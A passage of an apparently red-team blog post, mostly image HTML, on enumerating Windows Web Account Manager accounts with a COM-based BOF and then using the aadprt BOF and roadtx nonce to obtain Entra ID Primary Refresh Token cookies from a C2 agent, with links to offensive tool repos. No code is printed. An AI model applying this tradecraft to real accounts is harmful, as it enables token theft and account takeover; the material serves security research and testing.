https://substackcdn.com/image/fetch/$s_!JazH!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5652e15b-9821-4128-9ce4-83fe0f776082_875x167.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!JazH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5652e15b-9821-4128-9ce4-83fe0f776082_875x167.png" width="875" height="167" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5652e15b-9821-4128-9ce4-83fe0f776082_875x167.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:167,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!JazH!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5652e15b-9821-4128-9ce4-83fe0f776082_875x167.png 424w, https://substackcdn.com/image/fetch/$s_!JazH!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5652e15b-9821-4128-9ce4-83fe0f776082_875x167.png 848w, https://substackcdn.com/image/fetch/$s_!JazH!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5652e15b-9821-4128-9ce4-83fe0f776082_875x167.png 1272w, https://substackcdn.com/image/fetch/$s_!JazH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5652e15b-9821-4128-9ce4-83fe0f776082_875x167.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption"><strong>&#128556;</strong></figcaption></figure></div><p>I can feel the collective boos raining in.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ocWi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd044cc4-6566-443b-bb11-b22ed64d546e_577x433.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ocWi!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd044cc4-6566-443b-bb11-b22ed64d546e_577x433.png 424w, https://substackcdn.com/image/fetch/$s_!ocWi!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd044cc4-6566-443b-bb11-b22ed64d546e_577x433.png 848w, https://substackcdn.com/image/fetch/$s_!ocWi!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd044cc4-6566-443b-bb11-b22ed64d546e_577x433.png 1272w, https://substackcdn.com/image/fetch/$s_!ocWi!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd044cc4-6566-443b-bb11-b22ed64d546e_577x433.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ocWi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd044cc4-6566-443b-bb11-b22ed64d546e_577x433.png" width="577" height="433" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bd044cc4-6566-443b-bb11-b22ed64d546e_577x433.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:433,&quot;width&quot;:577,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!ocWi!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd044cc4-6566-443b-bb11-b22ed64d546e_577x433.png 424w, https://substackcdn.com/image/fetch/$s_!ocWi!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd044cc4-6566-443b-bb11-b22ed64d546e_577x433.png 848w, https://substackcdn.com/image/fetch/$s_!ocWi!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd044cc4-6566-443b-bb11-b22ed64d546e_577x433.png 1272w, https://substackcdn.com/image/fetch/$s_!ocWi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd044cc4-6566-443b-bb11-b22ed64d546e_577x433.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>You&#8217;re right. Unfortunately, the <a href="https://x.com/mhskai2017/status/1773532112362045680">one</a> function <code>dsregcmd.exe</code><em> </em>imports from <code>dsreg.dll</code> is undocumented, as are all the other interestingly named exports <code>dsreg.dll</code><em> </em>has. Reversing those functions to figure out how they can be called from a BOF is way beyond my ability. This left me trying to find other documented ways to query the web account manager. I found three ways I might approach this:</p><ol><li><p>Using .NET projections of the Windows Runtime (WinRT), including the WebAuthenticationCoreManager .NET class [<a href="https://learn.microsoft.com/en-us/uwp/api/windows.security.authentication.web.core.webauthenticationcoremanager?view=winrt-26100">1</a>, <a href="https://raamakrishnan.wordpress.com/tag/api/">2</a>]</p></li><li><p>Using C++/WinRT or C APIs to access these same WinRT classes [<a href="https://learn.microsoft.com/en-us/windows/uwp/cpp-and-winrt-apis/">1</a>, <a href="https://conference.hitb.org/hitbsecconf2018pek/materials/D1T2%20-%20The%20Inner%20Workings%20of%20the%20Windows%20Runtime%20-%20James%20Forshaw.pdf">2</a>]</p></li><li><p>Using component object model (COM) [<a href="https://stackoverflow.com/a/7437006">1</a>, <a href="https://blog.xojo.com/2019/07/02/accessing-windows-runtime-winrt/">2</a>]</p></li></ol><p>My personal preference is to leverage BOFs over .NET assemblies wherever possible. I was also unsure of the viability of using C++/WinRT in a BOF, so I opted for option three: using COM. Several vibe coding sessions later, I patched enough working BOF code together to list the WAM accounts that were added to the current user profile.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2BZL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8257f480-33c4-4a8e-a9cf-24cdf88e5c39_798x265.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2BZL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8257f480-33c4-4a8e-a9cf-24cdf88e5c39_798x265.png 424w, https://substackcdn.com/image/fetch/$s_!2BZL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8257f480-33c4-4a8e-a9cf-24cdf88e5c39_798x265.png 848w, https://substackcdn.com/image/fetch/$s_!2BZL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8257f480-33c4-4a8e-a9cf-24cdf88e5c39_798x265.png 1272w, https://substackcdn.com/image/fetch/$s_!2BZL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8257f480-33c4-4a8e-a9cf-24cdf88e5c39_798x265.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2BZL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8257f480-33c4-4a8e-a9cf-24cdf88e5c39_798x265.png" width="798" height="265" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8257f480-33c4-4a8e-a9cf-24cdf88e5c39_798x265.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:265,&quot;width&quot;:798,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!2BZL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8257f480-33c4-4a8e-a9cf-24cdf88e5c39_798x265.png 424w, https://substackcdn.com/image/fetch/$s_!2BZL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8257f480-33c4-4a8e-a9cf-24cdf88e5c39_798x265.png 848w, https://substackcdn.com/image/fetch/$s_!2BZL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8257f480-33c4-4a8e-a9cf-24cdf88e5c39_798x265.png 1272w, https://substackcdn.com/image/fetch/$s_!2BZL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8257f480-33c4-4a8e-a9cf-24cdf88e5c39_798x265.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">WAM Account Enumeration via COM</figcaption></figure></div><p>The BOF code, along with some POC code to enumerate added WAM accounts in .NET and C++/WinRT, can be found in this <a href="https://github.com/Tw1sm/list-wam-accounts">repo</a>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!qLNp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F359bcb6d-1b7b-43f8-8fa4-9f543262f9e1_494x687.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!qLNp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F359bcb6d-1b7b-43f8-8fa4-9f543262f9e1_494x687.png 424w, https://substackcdn.com/image/fetch/$s_!qLNp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F359bcb6d-1b7b-43f8-8fa4-9f543262f9e1_494x687.png 848w, https://substackcdn.com/image/fetch/$s_!qLNp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F359bcb6d-1b7b-43f8-8fa4-9f543262f9e1_494x687.png 1272w, https://substackcdn.com/image/fetch/$s_!qLNp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F359bcb6d-1b7b-43f8-8fa4-9f543262f9e1_494x687.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!qLNp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F359bcb6d-1b7b-43f8-8fa4-9f543262f9e1_494x687.png" width="494" height="687" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/359bcb6d-1b7b-43f8-8fa4-9f543262f9e1_494x687.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:687,&quot;width&quot;:494,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!qLNp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F359bcb6d-1b7b-43f8-8fa4-9f543262f9e1_494x687.png 424w, https://substackcdn.com/image/fetch/$s_!qLNp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F359bcb6d-1b7b-43f8-8fa4-9f543262f9e1_494x687.png 848w, https://substackcdn.com/image/fetch/$s_!qLNp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F359bcb6d-1b7b-43f8-8fa4-9f543262f9e1_494x687.png 1272w, https://substackcdn.com/image/fetch/$s_!qLNp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F359bcb6d-1b7b-43f8-8fa4-9f543262f9e1_494x687.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Now that we&#8217;ve been responsible operators and confirmed the device join state and WAM accounts that are present, we can continue forward!</p><blockquote><p><em><strong>Note: </strong>My coworkers <a href="https://x.com/mcbroom_evan">Evan McBroom</a> and <a href="https://x.com/mhskai2017">Kai Huang</a> adeptly figured out how to call the undocumented DsrCLI API that </em><code>dsregcmd.exe</code><em> calls. You can find an implementation of their work <a href="https://github.com/EvanMcBroom/lsa-whisperer/blob/v3.0/bofs/dsrcli.cpp">here</a>, which provides operators another option for performing these enumeration steps!</em></p></blockquote><h1><strong>Requesting and Leveraging the PRT Cookie</strong></h1><p>Finally, the exciting part. Lee&#8217;s original RequestAADRefreshToken code was ported to a BOF by <a href="https://github.com/wotwot563">wotwot563 </a>in their <a href="https://github.com/wotwot563/aad_prt_bof">aad_prt_bof</a> repo. This is trivial to use from our C2 agent and all we need to supply is a nonce for the request. We can obtain a nonce by running <code>roadtx</code> from Dirk-jan&#8217;s <a href="https://github.com/dirkjanm/ROADtools">ROADtools</a> project.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_kJc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e5b1787-c75c-4f0e-8ec9-3f87e7392f9d_875x109.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_kJc!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e5b1787-c75c-4f0e-8ec9-3f87e7392f9d_875x109.png 424w, https://substackcdn.com/image/fetch/$s_!_kJc!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e5b1787-c75c-4f0e-8ec9-3f87e7392f9d_875x109.png 848w, https://substackcdn.com/image/fetch/$s_!_kJc!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e5b1787-c75c-4f0e-8ec9-3f87e7392f9d_875x109.png 1272w, https://substackcdn.com/image/fetch/$s_!_kJc!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e5b1787-c75c-4f0e-8ec9-3f87e7392f9d_875x109.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_kJc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e5b1787-c75c-4f0e-8ec9-3f87e7392f9d_875x109.png" width="875" height="109" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6e5b1787-c75c-4f0e-8ec9-3f87e7392f9d_875x109.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:109,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!_kJc!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e5b1787-c75c-4f0e-8ec9-3f87e7392f9d_875x109.png 424w, https://substackcdn.com/image/fetch/$s_!_kJc!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e5b1787-c75c-4f0e-8ec9-3f87e7392f9d_875x109.png 848w, https://substackcdn.com/image/fetch/$s_!_kJc!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e5b1787-c75c-4f0e-8ec9-3f87e7392f9d_875x109.png 1272w, https://substackcdn.com/image/fetch/$s_!_kJc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e5b1787-c75c-4f0e-8ec9-3f87e7392f9d_875x109.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Nonce Request</figcaption></figure></div><p>Take the nonce back to your agent and execute the <code>aadprt</code> BOF to obtain a PRT cookie (if you&#8217;re following along in the lab, the Havoc script that wraps the BOF can be found in <a href="https://github.com/wotwot563/aad_prt_bof/pull/3">this PR</a>, but the repo already contains an OutflankC2 script and a Cobalt Strike aggressor script you can use. The PR also contains modifications to output the cookies as a JSON blob).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!o4B4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51ba0283-9cce-4ae6-9075-0d5c45387b85_875x285.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!o4B4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51ba0283-9cce-4ae6-9075-0d5c45387b85_875x285.png 424w, https://substackcdn.com/image/fetch/$s_!o4B4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51ba0283-9cce-4ae6-9075-0d5c45387b85_875x285.png 848w, https://substackcdn.com/image/fetch/$s_!o4B4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51ba0283-9cce-4ae6-9075-0d5c45387b85_875x285.png 1272w, https://substackcdn.com/image/fetch/$s_!o4B4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51ba0283-9cce-4ae6-9075-0d5c45387b85_875x285.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!o4B4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51ba0283-9cce-4ae6-9075-0d5c45387b85_875x285.png" width="875" height="285" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/51ba0283-9cce-4ae6-9075-0d5c45387b85_875x285.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:285,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!o4B4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51ba0283-9cce-4ae6-9075-0d5c45387b85_875x285.png 424w, https://substackcdn.com/image/fetch/$s_!o4B4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51ba0283-9cce-4ae6-9075-0d5c45387b85_875x285.png 848w, https://substackcdn.com/image/fetch/$s_!o4B4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51ba0283-9cce-4ae6-9075-0d5c45387b85_875x285.png 1272w, https://substackcdn.com/image/fetch/$s_!o4B4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51ba0283-9cce-4ae6-9075-0d5c45387b85_875x285.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Obtaining Refresh Token Cookies</figcaption></figure></div><p>You&#8217;ll likely get back a 